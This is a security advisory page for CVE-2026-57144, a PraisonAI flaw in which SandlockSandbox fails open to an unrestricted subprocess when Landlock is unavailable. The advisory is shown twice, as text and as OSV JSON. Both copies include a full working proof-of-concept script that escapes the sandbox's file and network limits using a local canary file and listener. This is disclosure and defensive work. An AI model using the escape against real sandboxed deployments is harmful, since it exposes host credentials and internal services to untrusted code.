CVE-2026-57144: Praisonai PraisonAI SandlockSandbox Falls Back To Vulnerability

HIGH
Advisory Identifier: GHSA-6jcq-6546-qrrw
CVSS 8.8
CWE-668 CWE-266 CWE-693
Published
Advisory Summary

CVE-2026-57144 is a HIGH (CVSS 8.8) praisonai sandlocksandbox falls back to vulnerability (CWE-668: Exposure of Resource to Wrong Sphere) affecting Praisonai libraries in the PyPI ecosystem. The issue involves praisonai sandlocksandbox falls back to unrestricted subprocess execution when landlock is unavailable. Remediation is available by upgrading affected packages to version 4.6.61.

CVE-2026-57144 at a Glance

CVE Identifier CVE-2026-57144
GHSA Identifier GHSA-6jcq-6546-qrrw
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-668: Exposure of Resource to Wrong Sphere
Affected Product Praisonai
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-57144

To remediate this vulnerability, upgrade all affected Praisonai dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonai fixed: 4.6.61
pip install praisonai>=4.6.61
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonai

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-57144, inspect your installed packages using pip:

pip show praisonai

Analyze the terminal output to locate any version of Praisonai in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.61), your application is affected.

Note: The pip show praisonai command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-668: Exposure of Resource to Wrong Sphere, where the product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource. In Praisonai, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `praisonai.sandbox.SandlockSandbox` is documented and implemented as the kernel-enforced sandbox backend for untrusted code. Its `SandboxConfig.native()` path lets callers configure allowed filesystem paths and `network=False`. On systems where the optional `sandlock` module imports but reports that Landlock is unavailable, `SandlockSandbox.execute()` and `run_command()` do not fail closed. They silently fall back to `SubprocessSandbox(self.config)`. That fallback keeps the same high-level native policy object but does not enforce the native filesystem or network boundary during code execution. A sandboxed payload can read files outside the configured allowed path and open network connections despite `network=False`. ## Technical Details `SandboxConfig.native()` creates a restricted native policy and records caller-provided writable paths plus the requested network posture: ```python return cls( sandbox_type="native", working_dir=os.getcwd(), security_policy=SecurityPolicy( allow_network=network, allow_file_write=True, allow_subprocess=True, allowed_paths=resolved_paths, ), metadata={"writable_paths": resolved_paths, "network": network}, ) ``` `SandlockSandbox` builds the intended kernel policy with Landlock-backed filesystem allowlisting and network denial: ```python policy = Policy( fs_readable=allowed_read_paths, fs_writable=allowed_write_paths, net_allow_hosts=[] if not limits.network_enabled else None, max_memory=f"{limits.memory_mb}M", max_processes=limits.max_processes, max_open_files=limits.max_open_files, ) ``` However, both execution paths fail open when Sandlock is unavailable: ```python if not self.is_available: logger.warning("Sandlock not available, falling back to subprocess") from .subprocess import SubprocessSandbox fallback = SubprocessSandbox(self.config) return await fallback.execute(code, language, limits, env, working_dir) ``` `SubprocessSandbox.execute()` writes the code to a temp file and runs `python` with a minimal environment and POSIX rlimits. It does not install a filesystem sandbox, network namespace, syscall filter, chroot, Landlock policy, or path allowlist for the code execution path. The `safe_sandbox_path()` checks only protect the `read_file()`, `write_file()`, and `list_files()` helper methods. ### Why This Is Not Intended Behavior The report is not based only on a trust-model disagreement. The code and docs define a concrete boundary: - PraisonAI's Sandlock README says the backend provides kernel-level filesystem allowlisting, network isolation, seccomp filtering, and blocks `/etc/passwd`, SSH keys, AWS credentials, and unauthorized connections. - The security demo creates `SandboxConfig.native(writable_paths=["./safe_workspace"], network=False)` and labels file and network access as blocked operations. - The upstream `sandlock` package requires Linux with a compatible Landlock ABI and documents a fail-closed default for missing required protections unless the caller explicitly opts into degraded protection. - PraisonAI's own current security page recommends sandboxed execution and says path traversal protection is enabled by default for local sandbox backends. The bug is the silent fallback from an unavailable kernel-enforced boundary to plain subprocess execution without preserving the configured native policy. ## PoV Run from a PraisonAI source checkout: ```bash python3 poc/pov_poc.py \ --repo /path/to/PraisonAI ``` The PoV: 1. injects a fake `sandlock` module that imports successfully but reports no usable Landlock support; 2. configures `SandboxConfig.native(writable_paths=[tenant_a], network=False)`; 3. creates `tenant-b-secret.txt` outside the configured path; 4. starts a localhost TCP listener; 5. executes code through `SandlockSandbox.execute()`. Observed result on `v4.6.58`: ```json { "child_output": { "network_reply": "local-ok", "outside_read": "TENANT_B_CANARY" }, "configured_network": false, "outside_path_under_allowed": false, "sandlock_available": false, "sandbox_type": "sandlock", "status": "COMPLETED", "vulnerable": true } ``` This proves both policy boundaries are crossed: - the file read target is not under the configured allowed path; - the localhost network connection succeeds even though the native policy was created with `network=False`. Full PoV script: ```python #!/usr/bin/env python3 """Local-only PoV for poc. The PoV simulates a system where the optional ``sandlock`` Python package is installed but kernel Landlock support is unavailable. That is the exact branch handled by ``SandlockSandbox.execute()``: it logs a warning and falls back to ``SubprocessSandbox``. No external network is used. The network control is a localhost TCP listener. No sensitive host files are read. The filesystem control uses temporary tenant directories and a canary file outside the configured writable path. """ from __future__ import annotations import argparse import asyncio import contextlib import json import os import pathlib import socket import sys import tempfile import types from typing import Any def _repo_paths(repo: pathlib.Path) -> list[str]: return [ str(repo / "src" / "praisonai"), str(repo / "src" / "praisonai-agents"), ] async def _accept_once(server: socket.socket) -> str | None: loop = asyncio.get_running_loop() def accept() -> str: conn, _ = server.accept() with conn: data = conn.recv(128) conn.sendall(b"local-ok") return data.decode("utf-8", "replace") with contextlib.suppress(Exception): return await loop.run_in_executor(None, accept) return None async def run_pov(repo: pathlib.Path) -> dict[str, Any]: sandlock_path = repo / "src" / "praisonai" / "praisonai" / "sandbox" / "sandlock.py" if not sandlock_path.exists(): return {"repo": str(repo), "has_sandlock": False, "vulnerable": False} sys.path[:0] = _repo_paths(repo) # Support both the original v4.5.110 API check and the current v4.6.58 API # check while forcing the "Sandlock not available" branch. sys.modules["sandlock"] = types.SimpleNamespace( is_available=lambda: False, landlock_abi_version=lambda: 0, ) from praisonai.sandbox.sandlock import SandlockSandbox from praisonaiagents.sandbox import ResourceLimits, SandboxConfig with tempfile.TemporaryDirectory(prefix="poc-") as temp_root: base = pathlib.Path(temp_root) # Make the PoV deterministic on systems where "python" is not on PATH. bindir = base / "bin" bindir.mkdir() (bindir / "python").symlink_to(sys.executable) allowed = base / "tenant-a" allowed.mkdir() outside = base / "tenant-b-secret.txt" outside.write_text("TENANT_B_CANARY", encoding="utf-8") server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(("127.0.0.1", 0)) server.listen(1) server.settimeout(5) port = server.getsockname()[1] config = SandboxConfig.native(writable_paths=[str(allowed)], network=False) sandbox = SandlockSandbox(config=config) await sandbox.start() code = f""" import json import socket result = {{}} try: with open({str(outside)!r}, "r") as f: result["outside_read"] = f.read() except Exception as exc: result["outside_read_error"] = type(exc).__name__ + ": " + str(exc) try: s = socket.create_connection(("127.0.0.1", {port}), timeout=3) s.sendall(b"hello") result["network_reply"] = s.recv(32).decode("utf-8", "replace") s.close() except Exception as exc: result["network_error"] = type(exc).__name__ + ": " + str(exc) print(json.dumps(result, sort_keys=True)) """ accept_task = asyncio.create_task(_accept_once(server)) result = await sandbox.execute( code, limits=ResourceLimits( timeout_seconds=10, memory_mb=512, max_processes=10, max_open_files=64, network_enabled=False, ), env={"PATH": str(bindir)}, ) accepted_payload = None with contextlib.suppress(Exception): accepted_payload = await accept_task server.close() await sandbox.stop() child_output: dict[str, Any] = {} with contextlib.suppress(Exception): child_output = json.loads(result.stdout.strip()) vulnerable = ( child_output.get("outside_read") == "TENANT_B_CANARY" and child_output.get("network_reply") == "local-ok" ) return { "repo": str(repo), "has_sandlock": True, "sandbox_type": sandbox.sandbox_type, "sandlock_available": sandbox.is_available, "configured_allowed_paths": config.security_policy.allowed_paths, "configured_network": config.security_policy.allow_network, "outside_path_under_allowed": str(outside).startswith(str(allowed) + os.sep), "status": getattr(result.status, "name", str(result.status)), "exit_code": result.exit_code, "stdout": result.stdout.strip(), "stderr": result.stderr.strip(), "error": result.error, "child_output": child_output, "accepted_local_payload": accepted_payload, "vulnerable": vulnerable, } def main() -> int: parser = argparse.ArgumentParser() parser.add_argument("--repo", required=True, type=pathlib.Path) args = parser.parse_args() result = asyncio.run(run_pov(args.repo.resolve())) print(json.dumps(result, indent=2, sort_keys=True)) if result.get("has_sandlock") and not result.get("vulnerable"): return 1 return 0 if __name__ == "__main__": raise SystemExit(main()) ``` ## PoC The PoV section above contains the local reproduction command, input, and decisive output. ## Impact If a PraisonAI user or service relies on `SandlockSandbox` / native sandboxing for untrusted code isolation on a host without the required Landlock support, code submitted to the sandbox can execute with the host user's normal filesystem and network access. Concrete impact includes: - reading files outside the configured tenant/workspace path; - reading project files, credentials, `.env` files, SSH material, or cloud config reachable by the PraisonAI process user; - connecting to loopback or internal services despite `network=False`; - moving from sandboxed code execution to unsandboxed host-user code execution in deployments that treat Sandlock as the isolation boundary. The local PoV does not read real sensitive files or contact external systems. It uses temporary tenant directories and a localhost TCP listener. ## Suggested Fix Fail closed when the requested native sandbox boundary cannot be enforced. Recommended changes: 1. In `SandlockSandbox.execute()` and `run_command()`, return a failed `SandboxResult` or raise a clear runtime error when `self.is_available` is false. 2. If fallback behavior is kept for developer convenience, require an explicit opt-in such as `allow_degraded=True` or `fallback="subprocess"` and surface that degraded state in the result metadata. 3. Do not preserve `sandbox_type == "sandlock"` in status metadata when the actual execution backend is subprocess. 4. Add regression tests proving that unavailable Landlock does not execute code unless degraded fallback was explicitly requested. 5. Add tests that a native policy with `network=False` and a restricted path cannot read outside-path canaries or connect to a localhost listener. 6. Document the required kernel/ABI versions and the exact degraded-mode semantics. ## Affected Package/Versions - Repository: `MervinPraison/PraisonAI` - Package: `praisonai` - Component: `src/praisonai/praisonai/sandbox/sandlock.py` - Related config component: `src/praisonai-agents/praisonaiagents/sandbox/config.py` - Latest verified release/current head: `v4.6.58`, `1ad58ca02975ff1398efeda694ea2ab78f20cf3e` Confirmed affected: ```text v4.5.110 vulnerable v4.5.120 vulnerable v4.6.58 vulnerable current vulnerable ``` Negative control: ```text v4.5.109 not affected because SandlockSandbox is absent ``` Suggested affected range: `>= 4.5.110, <= 4.6.58`. No fixed version is known at submission time. ### Version Sweep ```text version has_sandlock sandlock_available status outside_read network_reply vulnerable praisonai-v4.5.109 false false praisonai-v4.5.110 true false COMPLETED TENANT_B_CANARY local-ok true praisonai-v4.6.58 true false COMPLETED TENANT_B_CANARY local-ok true praisonai-current true false COMPLETED TENANT_B_CANARY local-ok true ``` GitHub history for `sandlock.py` shows the backend was introduced in `4ee7d298c89f` on 2026-04-01 with "graceful fallback to SubprocessSandbox", then updated in `7ae6c6d19c31` on 2026-04-02 to use the current Landlock ABI check. ## Advisory History Nearby advisories are distinct: - `GHSA-r4f2-3m54-pp7q` / `CVE-2026-34955`: `SubprocessSandbox` shell command escape through `4.5.96`. - `GHSA-4mr5-g6f9-cfrh`, `GHSA-qf73-2hrx-xprp`, `GHSA-6vh2-h83c-9294`: `execute_code()` Python sandbox escapes. - `GHSA-ch89-h4r2-c8f8`: agent tools workspace escape via symlinks. - `GHSA-gcq3-mfvh-3x25`: PraisonAI Code agent tool workspace fail-open. This report covers a different root cause: `SandlockSandbox` / native sandbox policy downgrade when Landlock is unavailable. It reproduces on the latest release `v4.6.58`, while the older `SubprocessSandbox` shell escape advisory was fixed at `4.5.97`.

CVE-2026-57144 Affected Praisonai Versions

1 component(s)
Fixed Versions:
4.6.61
Product / Package Ecosystem Affected Versions Fixed Version
praisonai
PyPI
≥ 4.5.110
< 4.6.61
4.6.61

References

Frequently Asked Questions

What is CVE-2026-57144?
CVE-2026-57144 is a security vulnerability in Praisonai involving PraisonAI SandlockSandbox falls back to unrestricted subprocess execution when Landlock is unavailable under CWE-668: Exposure of Resource to Wrong Sphere.
Which Praisonai versions are affected?
Affected versions include releases prior to 4.6.61 across affected packages: praisonai.
What version fixes CVE-2026-57144?
Upgrading to 4.6.61 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonai affected?
Yes, praisonai is affected in releases prior to 4.6.61. Upgrade your dependency to 4.6.61 or later.
What is the CVSS score of CVE-2026-57144?
CVE-2026-57144 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-57144?
CVE-2026-57144 is classified under CWE-668: Exposure of Resource to Wrong Sphere (The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.).
How can I check PyPI dependencies for CVE-2026-57144?
Run the dependency tree command: 'pip show praisonai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6jcq-6546-qrrw",
  "modified" : "2026-07-20T21:28:18Z",
  "published" : "2026-06-18T14:27:19Z",
  "aliases" : [ "CVE-2026-57144" ],
  "summary" : "PraisonAI SandlockSandbox falls back to unrestricted subprocess execution when Landlock is unavailable",
  "details" : "## Summary\n\n`praisonai.sandbox.SandlockSandbox` is documented and implemented as the kernel-enforced sandbox backend for untrusted code. Its `SandboxConfig.native()` path lets callers configure allowed filesystem paths and `network=False`.\n\nOn systems where the optional `sandlock` module imports but reports that Landlock is unavailable, `SandlockSandbox.execute()` and `run_command()` do not fail closed. They silently fall back to `SubprocessSandbox(self.config)`.\n\nThat fallback keeps the same high-level native policy object but does not enforce the native filesystem or network boundary during code execution. A sandboxed payload can read files outside the configured allowed path and open network connections despite `network=False`.\n\n## Technical Details\n\n`SandboxConfig.native()` creates a restricted native policy and records caller-provided writable paths plus the requested network posture:\n\n```python\nreturn cls(\n    sandbox_type=\"native\",\n    working_dir=os.getcwd(),\n    security_policy=SecurityPolicy(\n        allow_network=network,\n        allow_file_write=True,\n        allow_subprocess=True,\n        allowed_paths=resolved_paths,\n    ),\n    metadata={\"writable_paths\": resolved_paths, \"network\": network},\n)\n```\n\n`SandlockSandbox` builds the intended kernel policy with Landlock-backed filesystem allowlisting and network denial:\n\n```python\npolicy = Policy(\n    fs_readable=allowed_read_paths,\n    fs_writable=allowed_write_paths,\n    net_allow_hosts=[] if not limits.network_enabled else None,\n    max_memory=f\"{limits.memory_mb}M\",\n    max_processes=limits.max_processes,\n    max_open_files=limits.max_open_files,\n)\n```\n\nHowever, both execution paths fail open when Sandlock is unavailable:\n\n```python\nif not self.is_available:\n    logger.warning(\"Sandlock not available, falling back to subprocess\")\n    from .subprocess import SubprocessSandbox\n    fallback = SubprocessSandbox(self.config)\n    return await fallback.execute(code, language, limits, env, working_dir)\n```\n\n`SubprocessSandbox.execute()` writes the code to a temp file and runs `python` with a minimal environment and POSIX rlimits. It does not install a filesystem sandbox, network namespace, syscall filter, chroot, Landlock policy, or path allowlist for the code execution path. The `safe_sandbox_path()` checks only protect the `read_file()`, `write_file()`, and `list_files()` helper methods.\n\n### Why This Is Not Intended Behavior\n\nThe report is not based only on a trust-model disagreement. The code and docs define a concrete boundary:\n\n- PraisonAI's Sandlock README says the backend provides kernel-level filesystem allowlisting, network isolation, seccomp filtering, and blocks `/etc/passwd`, SSH keys, AWS credentials, and unauthorized connections.\n- The security demo creates `SandboxConfig.native(writable_paths=[\"./safe_workspace\"], network=False)` and labels file and network access as blocked operations.\n- The upstream `sandlock` package requires Linux with a compatible Landlock ABI and documents a fail-closed default for missing required protections unless the caller explicitly opts into degraded protection.\n- PraisonAI's own current security page recommends sandboxed execution and says path traversal protection is enabled by default for local sandbox backends.\n\nThe bug is the silent fallback from an unavailable kernel-enforced boundary to plain subprocess execution without preserving the configured native policy.\n\n## PoV\n\nRun from a PraisonAI source checkout:\n\n```bash\npython3 poc/pov_poc.py \\\n  --repo /path/to/PraisonAI\n```\n\nThe PoV:\n\n1. injects a fake `sandlock` module that imports successfully but reports no usable Landlock support;\n2. configures `SandboxConfig.native(writable_paths=[tenant_a], network=False)`;\n3. creates `tenant-b-secret.txt` outside the configured path;\n4. starts a localhost TCP listener;\n5. executes code through `SandlockSandbox.execute()`.\n\nObserved result on `v4.6.58`:\n\n```json\n{\n  \"child_output\": {\n    \"network_reply\": \"local-ok\",\n    \"outside_read\": \"TENANT_B_CANARY\"\n  },\n  \"configured_network\": false,\n  \"outside_path_under_allowed\": false,\n  \"sandlock_available\": false,\n  \"sandbox_type\": \"sandlock\",\n  \"status\": \"COMPLETED\",\n  \"vulnerable\": true\n}\n```\n\nThis proves both policy boundaries are crossed:\n\n- the file read target is not under the configured allowed path;\n- the localhost network connection succeeds even though the native policy was created with `network=False`.\n\nFull PoV script:\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local-only PoV for poc.\n\nThe PoV simulates a system where the optional ``sandlock`` Python package is\ninstalled but kernel Landlock support is unavailable. That is the exact branch\nhandled by ``SandlockSandbox.execute()``: it logs a warning and falls back to\n``SubprocessSandbox``.\n\nNo external network is used. The network control is a localhost TCP listener.\nNo sensitive host files are read. The filesystem control uses temporary tenant\ndirectories and a canary file outside the configured writable path.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport asyncio\nimport contextlib\nimport json\nimport os\nimport pathlib\nimport socket\nimport sys\nimport tempfile\nimport types\nfrom typing import Any\n\ndef _repo_paths(repo: pathlib.Path) -> list[str]:\n    return [\n        str(repo / \"src\" / \"praisonai\"),\n        str(repo / \"src\" / \"praisonai-agents\"),\n    ]\n\nasync def _accept_once(server: socket.socket) -> str | None:\n    loop = asyncio.get_running_loop()\n\n    def accept() -> str:\n        conn, _ = server.accept()\n        with conn:\n            data = conn.recv(128)\n            conn.sendall(b\"local-ok\")\n        return data.decode(\"utf-8\", \"replace\")\n\n    with contextlib.suppress(Exception):\n        return await loop.run_in_executor(None, accept)\n    return None\n\nasync def run_pov(repo: pathlib.Path) -> dict[str, Any]:\n    sandlock_path = repo / \"src\" / \"praisonai\" / \"praisonai\" / \"sandbox\" / \"sandlock.py\"\n    if not sandlock_path.exists():\n        return {\"repo\": str(repo), \"has_sandlock\": False, \"vulnerable\": False}\n\n    sys.path[:0] = _repo_paths(repo)\n\n    # Support both the original v4.5.110 API check and the current v4.6.58 API\n    # check while forcing the \"Sandlock not available\" branch.\n    sys.modules[\"sandlock\"] = types.SimpleNamespace(\n        is_available=lambda: False,\n        landlock_abi_version=lambda: 0,\n    )\n\n    from praisonai.sandbox.sandlock import SandlockSandbox\n    from praisonaiagents.sandbox import ResourceLimits, SandboxConfig\n\n    with tempfile.TemporaryDirectory(prefix=\"poc-\") as temp_root:\n        base = pathlib.Path(temp_root)\n\n        # Make the PoV deterministic on systems where \"python\" is not on PATH.\n        bindir = base / \"bin\"\n        bindir.mkdir()\n        (bindir / \"python\").symlink_to(sys.executable)\n\n        allowed = base / \"tenant-a\"\n        allowed.mkdir()\n        outside = base / \"tenant-b-secret.txt\"\n        outside.write_text(\"TENANT_B_CANARY\", encoding=\"utf-8\")\n\n        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        server.bind((\"127.0.0.1\", 0))\n        server.listen(1)\n        server.settimeout(5)\n        port = server.getsockname()[1]\n\n        config = SandboxConfig.native(writable_paths=[str(allowed)], network=False)\n        sandbox = SandlockSandbox(config=config)\n        await sandbox.start()\n\n        code = f\"\"\"\nimport json\nimport socket\n\nresult = {{}}\n\ntry:\n    with open({str(outside)!r}, \"r\") as f:\n        result[\"outside_read\"] = f.read()\nexcept Exception as exc:\n    result[\"outside_read_error\"] = type(exc).__name__ + \": \" + str(exc)\n\ntry:\n    s = socket.create_connection((\"127.0.0.1\", {port}), timeout=3)\n    s.sendall(b\"hello\")\n    result[\"network_reply\"] = s.recv(32).decode(\"utf-8\", \"replace\")\n    s.close()\nexcept Exception as exc:\n    result[\"network_error\"] = type(exc).__name__ + \": \" + str(exc)\n\nprint(json.dumps(result, sort_keys=True))\n\"\"\"\n\n        accept_task = asyncio.create_task(_accept_once(server))\n        result = await sandbox.execute(\n            code,\n            limits=ResourceLimits(\n                timeout_seconds=10,\n                memory_mb=512,\n                max_processes=10,\n                max_open_files=64,\n                network_enabled=False,\n            ),\n            env={\"PATH\": str(bindir)},\n        )\n\n        accepted_payload = None\n        with contextlib.suppress(Exception):\n            accepted_payload = await accept_task\n\n        server.close()\n        await sandbox.stop()\n\n        child_output: dict[str, Any] = {}\n        with contextlib.suppress(Exception):\n            child_output = json.loads(result.stdout.strip())\n\n        vulnerable = (\n            child_output.get(\"outside_read\") == \"TENANT_B_CANARY\"\n            and child_output.get(\"network_reply\") == \"local-ok\"\n        )\n\n        return {\n            \"repo\": str(repo),\n            \"has_sandlock\": True,\n            \"sandbox_type\": sandbox.sandbox_type,\n            \"sandlock_available\": sandbox.is_available,\n            \"configured_allowed_paths\": config.security_policy.allowed_paths,\n            \"configured_network\": config.security_policy.allow_network,\n            \"outside_path_under_allowed\": str(outside).startswith(str(allowed) + os.sep),\n            \"status\": getattr(result.status, \"name\", str(result.status)),\n            \"exit_code\": result.exit_code,\n            \"stdout\": result.stdout.strip(),\n            \"stderr\": result.stderr.strip(),\n            \"error\": result.error,\n            \"child_output\": child_output,\n            \"accepted_local_payload\": accepted_payload,\n            \"vulnerable\": vulnerable,\n        }\n\ndef main() -> int:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--repo\", required=True, type=pathlib.Path)\n    args = parser.parse_args()\n\n    result = asyncio.run(run_pov(args.repo.resolve()))\n    print(json.dumps(result, indent=2, sort_keys=True))\n\n    if result.get(\"has_sandlock\") and not result.get(\"vulnerable\"):\n        return 1\n    return 0\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n## PoC\n\nThe PoV section above contains the local reproduction command, input, and decisive output.\n\n## Impact\n\nIf a PraisonAI user or service relies on `SandlockSandbox` / native sandboxing for untrusted code isolation on a host without the required Landlock support, code submitted to the sandbox can execute with the host user's normal filesystem and network access.\n\nConcrete impact includes:\n\n- reading files outside the configured tenant/workspace path;\n- reading project files, credentials, `.env` files, SSH material, or cloud config reachable by the PraisonAI process user;\n- connecting to loopback or internal services despite `network=False`;\n- moving from sandboxed code execution to unsandboxed host-user code execution in deployments that treat Sandlock as the isolation boundary.\n\nThe local PoV does not read real sensitive files or contact external systems. It uses temporary tenant directories and a localhost TCP listener.\n\n## Suggested Fix\n\nFail closed when the requested native sandbox boundary cannot be enforced.\n\nRecommended changes:\n\n1. In `SandlockSandbox.execute()` and `run_command()`, return a failed `SandboxResult` or raise a clear runtime error when `self.is_available` is false.\n2. If fallback behavior is kept for developer convenience, require an explicit opt-in such as `allow_degraded=True` or `fallback=\"subprocess\"` and surface that degraded state in the result metadata.\n3. Do not preserve `sandbox_type == \"sandlock\"` in status metadata when the actual execution backend is subprocess.\n4. Add regression tests proving that unavailable Landlock does not execute code unless degraded fallback was explicitly requested.\n5. Add tests that a native policy with `network=False` and a restricted path cannot read outside-path canaries or connect to a localhost listener.\n6. Document the required kernel/ABI versions and the exact degraded-mode semantics.\n\n## Affected Package/Versions\n\n- Repository: `MervinPraison/PraisonAI`\n- Package: `praisonai`\n- Component: `src/praisonai/praisonai/sandbox/sandlock.py`\n- Related config component: `src/praisonai-agents/praisonaiagents/sandbox/config.py`\n- Latest verified release/current head: `v4.6.58`, `1ad58ca02975ff1398efeda694ea2ab78f20cf3e`\n\nConfirmed affected:\n\n```text\nv4.5.110  vulnerable\nv4.5.120  vulnerable\nv4.6.58   vulnerable\ncurrent   vulnerable\n```\n\nNegative control:\n\n```text\nv4.5.109  not affected because SandlockSandbox is absent\n```\n\nSuggested affected range: `>= 4.5.110, <= 4.6.58`.\n\nNo fixed version is known at submission time.\n\n### Version Sweep\n\n```text\nversion              has_sandlock  sandlock_available  status     outside_read     network_reply  vulnerable\npraisonai-v4.5.109   false                                               false\npraisonai-v4.5.110   true          false               COMPLETED  TENANT_B_CANARY  local-ok       true\npraisonai-v4.6.58    true          false               COMPLETED  TENANT_B_CANARY  local-ok       true\npraisonai-current    true          false               COMPLETED  TENANT_B_CANARY  local-ok       true\n```\n\nGitHub history for `sandlock.py` shows the backend was introduced in `4ee7d298c89f` on 2026-04-01 with \"graceful fallback to SubprocessSandbox\", then updated in `7ae6c6d19c31` on 2026-04-02 to use the current Landlock ABI check.\n\n## Advisory History\n\nNearby advisories are distinct:\n\n- `GHSA-r4f2-3m54-pp7q` / `CVE-2026-34955`: `SubprocessSandbox` shell command escape through `4.5.96`.\n- `GHSA-4mr5-g6f9-cfrh`, `GHSA-qf73-2hrx-xprp`, `GHSA-6vh2-h83c-9294`: `execute_code()` Python sandbox escapes.\n- `GHSA-ch89-h4r2-c8f8`: agent tools workspace escape via symlinks.\n- `GHSA-gcq3-mfvh-3x25`: PraisonAI Code agent tool workspace fail-open.\n\nThis report covers a different root cause: `SandlockSandbox` / native sandbox policy downgrade when Landlock is unavailable. It reproduces on the latest release `v4.6.58`, while the older `SubprocessSandbox` shell escape advisory was fixed at `4.5.97`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.5.110"
      }, {
        "fixed" : "4.6.61"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6jcq-6546-qrrw"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-266", "CWE-668", "CWE-693" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-18T14:27:19Z",
    "nvd_published_at" : null
  }
}